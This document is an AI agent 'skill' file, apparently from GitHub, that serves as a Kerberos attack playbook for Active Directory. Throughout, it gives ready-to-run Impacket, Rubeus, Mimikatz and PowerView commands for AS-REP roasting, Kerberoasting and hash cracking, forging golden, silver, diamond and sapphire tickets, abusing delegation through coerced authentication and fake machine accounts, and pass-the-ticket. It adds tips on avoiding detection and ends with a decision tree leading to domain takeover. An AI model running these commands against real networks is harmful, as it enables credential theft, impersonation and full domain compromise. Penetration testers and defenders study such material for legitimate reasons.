- name
- active-directory-kerberos-attacks
- description
- Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
# SKILL: Kerberos Attack Playbook โ Expert AD Attack Guide
> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement
### Advanced Reference
Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:
- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
- End-to-end scenarios from foothold to domain admin
- Chained delegation attack flows
---
## 1. KERBEROS AUTHENTICATION PRIMER
```
Client KDC (DC) Service
โ โ โ
โโโ AS-REQ โโโโโโโโโโ โ (1) Request TGT with user creds
โโโ AS-REP โโโโโโโโโโ โ (2) Receive TGT (encrypted with krbtgt hash)
โ โ โ
โโโ TGS-REQ โโโโโโโโโ โ (3) Present TGT, request service ticket
โโโ TGS-REP โโโโโโโโโ โ (4) Receive TGS (encrypted with service hash)
โ โ โ
โโโ AP-REQ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ (5) Present TGS to service
โโโ AP-REP โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ (6) Mutual auth (optional)
```
---
## 2. AS-REP ROASTING
Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
### Enumerate Vulnerable Users
```bash
# Impacket โ from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
# Impacket โ with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
# Rubeus โ from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView โ enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
```
### Crack AS-REP Hash
```bash
# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
# John
john asrep.txt --wordlist=rockyou.txt
```
---
## 3. KERBEROASTING
Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
### Request Service Tickets
```bash
# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus โ target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
```
### Crack TGS Hash
```bash
# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
# RC4 tickets crack much faster than AES256 โ target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg
```
---
## 4. TICKET FORGING โ GOLDEN, SILVER, DIAMOND, SAPPHIRE
### Golden Ticket
Forge TGT using the `krbtgt` hash โ impersonate any user, including non-existent ones.
```bash
# Impacket โ forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
```
**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit)
**Persistence**: Valid until krbtgt password is changed **twice**
### Silver Ticket
Forge TGS using the service account's hash โ access specific service only, no KDC interaction.
```bash
# Impacket โ forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
```
| Target Service | SPN Format | Use Case |
|---|---|---|
| File shares | `cifs/host` | Access SMB shares |
| WinRM | `http/host` | Remote PowerShell |
| LDAP | `ldap/dc` | DCSync-like queries |
| MSSQL | `MSSQLSvc/host:1433` | Database access |
| Exchange | `http/mail.domain.com` | Mailbox access |
### Diamond Ticket
Modify a legitimately issued TGT โ harder to detect than golden ticket.
```bash
# Rubeus โ request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
```
**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.
### Sapphire Ticket
Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.
```bash
# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
```
**Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult.
---
## 5. DELEGATION ATTACKS
### Unconstrained Delegation
Hosts with unconstrained delegation store user TGTs in memory.
```bash
# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# Coerce admin authentication โ capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap
# Trigger via PrinterBug / PetitPotam โ DC authenticates โ TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
```
### Constrained Delegation (S4U2Proxy)
```bash
# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
# S4U2Self + S4U2Proxy โ get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
```
### Resource-Based Constrained Delegation (RBCD)
Requires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.
```bash
# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM
```
---
## 6. PASS-THE-TICKET & OVERPASS-THE-HASH
### Pass-the-Ticket
```bash
# Impacket โ use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# Mimikatz โ inject .kirbi ticket into session
kerberos::ptt ticket.kirbi
# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob
```
### Overpass-the-Hash (Pass-the-Key)
Use NTLM hash to request a Kerberos TGT โ pure Kerberos authentication (avoids NTLM logging).
```bash
# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
```
---
## 7. KERBEROS DOUBLE HOP PROBLEM
When authenticating via Kerberos across two hops (A โ B โ C), B cannot forward A's credentials to C by default.
### Solutions
| Method | How | Risk |
|---|---|---|
| CredSSP | Sends actual credentials to B | Credential exposure |
| Unconstrained delegation on B | B stores A's TGT | Over-privileged |
| Constrained delegation | B allowed to delegate to C | Preferred โ scoped |
| RBCD | C trusts B to delegate | Modern, flexible |
| Invoke-Command nested | `-Credential` param in nested session | Exposes password in script |
---
## 8. KERBEROS ATTACK DECISION TREE
```
AD environment โ targeting Kerberos
โ
โโโ Have domain user creds?
โ โโโ Kerberoast โ crack service account hashes (ยง3)
โ โโโ Enumerate users without preauth โ AS-REP roast (ยง2)
โ โโโ Enumerate delegation โ unconstrained/constrained/RBCD (ยง5)
โ โโโ Enumerate SPNs for high-value accounts
โ
โโโ Have service account hash?
โ โโโ Silver ticket for that service (ยง4)
โ โโโ If constrained delegation โ S4U2Proxy chain (ยง5)
โ
โโโ Have krbtgt hash?
โ โโโ Golden ticket โ any user, any service (ยง4)
โ โโโ Diamond ticket โ stealthier forging (ยง4)
โ โโโ Sapphire ticket โ hardest to detect (ยง4)
โ
โโโ Compromised host with unconstrained delegation?
โ โโโ Monitor for incoming TGTs (Rubeus monitor)
โ โโโ Coerce DC authentication (PrinterBug/PetitPotam)
โ โโโ Capture DC TGT โ DCSync
โ
โโโ Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
โ โโโ RBCD attack (ยง5) โ create machine account + delegate
โ
โโโ Have NTLM hash but need Kerberos auth?
โ โโโ Overpass-the-Hash โ request TGT (ยง6)
โ
โโโ Have .kirbi / .ccache ticket?
โโโ Pass-the-Ticket โ use directly (ยง6)
```
Auf GitHub ansehen